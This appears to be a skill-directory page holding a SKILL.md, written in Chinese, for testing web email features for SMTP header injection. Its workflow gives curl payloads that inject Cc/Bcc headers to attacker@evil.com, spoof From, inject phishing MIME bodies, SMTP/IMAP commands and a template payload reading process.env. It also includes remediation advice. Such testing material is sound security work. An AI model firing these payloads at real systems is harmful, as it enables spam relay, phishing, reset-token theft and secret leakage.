UI はローカライズ済みです。スキルの紹介と説明文書は選択した言語へ AI が自動翻訳し、コード・コマンド・パス・専門用語は原文のままです。原作者の文書が優先されます。
スキルを探す
開発・技術 · SKILL.md

testing-for-email-header-injection

testing-for-email-header-injection

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

Independent GitHub snapshot · Automated classification · Original documentation governs

スキルの説明

GitHub

name: testing-for-email-header-injection description: 测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。 domain: cybersecurity subdomain: web-application-security tags: [email-injection, smtp-injection, crlf-injection, header-injection, spam-relay, contact-form, email-security] version: "1.0" author: mahipal license: Apache-2.0

测试邮件头部注入(Testing for Email Header Injection)

适用场景

  • 测试联系表单、反馈表单或"邮件分享"功能时
  • 评估密码重置邮件功能时
  • 测试新闻订阅或通知邮件系统时
  • 对基于用户输入发送邮件的应用程序进行渗透测试时
  • 审计与邮件相关的 API 端点是否存在头部注入时

前置条件

  • Burp Suite(用于拦截和修改 HTTP 请求)
  • 了解 SMTP 协议和邮件头部结构
  • 熟悉 CRLF 注入技术(\r\n 序列)
  • 用于接收注入邮件的测试邮箱账户
  • 能够访问触发邮件发送的应用功能
  • SMTP 服务器日志访问权限(用于监控注入尝试)

工作流程

步骤 1 — 识别邮件注入点

# 识别会出现在邮件头部的表单字段:
# - "发件人"姓名或邮箱地址字段
# - 分享功能中的"收件人"或"抄送"字段
# - 主题行输入
# - 回复地址字段

# 常见端点:
# POST /contact — 联系表单
# POST /share — 邮件分享功能
# POST /invite — 邀请系统
# POST /api/send-email — 邮件 API 端点
# POST /forgot-password — 密码重置表单

# 先测试基本功能
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"

步骤 2 — 测试 CRLF 头部注入

# 通过邮箱字段中的 CRLF 注入额外邮件头部
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"

# 注入 BCC 头部
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"

# 通过 name 字段注入
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"

# 通过 subject 字段注入
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"

# 尝试不同的 CRLF 编码变体
# %0D%0A(CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"

# %0A(仅 LF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"

# %0D(仅 CR)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"

# 双重编码
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"

步骤 3 — 注入自定义邮件内容

# 通过注入 Content-Type 和正文覆盖邮件内容
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# 注入额外的 MIME 部分
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# 覆盖 From 头部实施邮件伪造
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"

# 注入 Reply-To 用于网络钓鱼
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"

步骤 4 — 测试 IMAP/SMTP 注入

# 通过邮箱字段注入 IMAP 命令
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP 命令注入
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"

# SMTP VRFY 命令注入
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"

# 测试 SMTP 中继滥用
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"

步骤 5 — 测试基于 JSON 的邮件 API

# JSON API 头部注入
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'

# 数组注入实现多收件人
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'

# 邮件正文中的模板注入
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'

步骤 6 — 验证发现

# 检查注入的 CC/BCC 邮件是否已收到
# 监控 attacker@evil.com 收件箱中的副本

# 通过邮件原始来源验证头部注入
# 在收到的邮件中,查看"查看原始邮件"或"显示邮件头"
# 寻找注入的 Cc:、Bcc:、From: 或 Reply-To: 头部

# 测试应用是否可被用作垃圾邮件中继
# 方法是在 BCC 中注入多个收件人

# 记录完整的注入链
# 1. 注入点(哪个字段)
# 2. 所需编码(CRLF、URL 编码)
# 3. 影响(垃圾邮件中继、网络钓鱼、数据窃取)

核心概念

概念定义
CRLF 注入(CRLF Injection)注入回车和换行字符以创建新的邮件头部
头部注入(Header Injection)向外发邮件添加未授权头部(Cc、Bcc、From)
垃圾邮件中继(Spam Relay)滥用邮件功能向任意收件人发送垃圾邮件
邮件伪造(Email Spoofing)修改 From 或 Reply-To 头部以冒充可信发件人
MIME 操控(MIME Manipulation)注入 MIME 边界以覆盖邮件正文内容
SMTP 命令注入(SMTP Command Injection)通过未经过滤的邮件参数注入原始 SMTP 命令
换行字符(Newline Characters)\r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部

工具与系统

工具用途
Burp Suite修改与邮件相关的表单提交的 HTTP 代理
swaksSMTP 测试和头部注入验证的瑞士军刀工具
OWASP ZAP具有邮件注入检测功能的自动化扫描器
mailhog用于捕获注入邮件的本地 SMTP 测试服务器
smtp4dev用于监控邮件注入结果的开发 SMTP 服务器
Nuclei具有邮件头部注入检测模板的扫描器

常见场景

  1. 垃圾邮件中继 — 注入 BCC 头部,通过目标 SMTP 服务器中继大量邮件,绕过信任发件人域名的垃圾邮件过滤器
  2. 通过联系表单实施网络钓鱼 — 修改 From 和 Reply-To 头部,发送看似来自目标组织的钓鱼邮件
  3. 密码重置劫持 — 在密码重置流程中注入 CC 头部,接收发送给受害者的重置 Token 副本
  4. 邮件内容覆盖 — 注入 MIME Content-Type 头部,将合法邮件正文替换为恶意钓鱼内容
  5. 内网邮件滥用 — 利用头部注入向通常无法通过应用访问的内部邮箱地址发送邮件

输出格式

## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)

### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC 头部已注入 | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:ceo@target.com | From 伪造 | Medium |

### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制
保存したスキル